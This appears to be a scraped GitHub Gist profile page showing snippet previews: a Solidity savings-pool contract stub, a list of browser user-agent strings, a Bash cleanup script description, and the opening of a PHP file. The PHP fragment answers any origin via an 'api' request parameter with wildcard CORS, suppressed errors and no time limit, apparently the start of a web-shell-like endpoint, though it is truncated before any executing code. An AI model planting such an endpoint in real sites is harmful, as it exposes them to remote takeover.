Skip to content

Instantly share code, notes, and snippets.

View binsarjr's full-sized avatar
👋
KNTL (Keep Never Tired Learning)

Binsar Dwi Jasuma binsarjr

👋
KNTL (Keep Never Tired Learning)
View GitHub Profile
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Arisan {
address public owner;
address[] public members;
address public winner;
uint256 public balance;
mapping(address => bool) public isMember;
Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/37.0.2062.94 Chrome/37.0.2062.94 Safari/537.36
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36
Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/600.8.9 (KHTML, like Gecko) Version/8.0.8 Safari/600.8.9
Mozilla/5.0 (iPad; CPU OS 8_4_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H321 Safari/600.1.4
Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36
Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240
Mozilla/5.0 (Windows NT 6.3; WOW64; rv:40.0)
@binsarjr
binsarjr / Cleanup.md
Last active January 21, 2025 15:08
This program is a Bash script designed to efficiently clean up specific directories in a project, such as node_modules and vendor folders, while providing real-time feedback through a loading animation.

Program Description

The script automates the process of cleaning up development-related directories, improving workspace organization and freeing up disk space. It supports the following features:

  1. Directory Scanning:

    • Scans a specified directory (or the current directory if no argument is provided) for node_modules and vendor folders.
  2. Selective Deletion:

    • node_modules: Removes all node_modules directories recursively within the specified path.
  • vendor: Removes vendor directories only if a composer.json file exists in the same level, ensuring it's part of a valid PHP project.
<?php
if (@isset($_REQUEST['api'])) {
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Methods: *');
header('Access-Control-Allow-Headers: *');
header('Access-Control-Allow-Credentials: true');
session_start();
error_reporting(0);
@set_time_limit(0);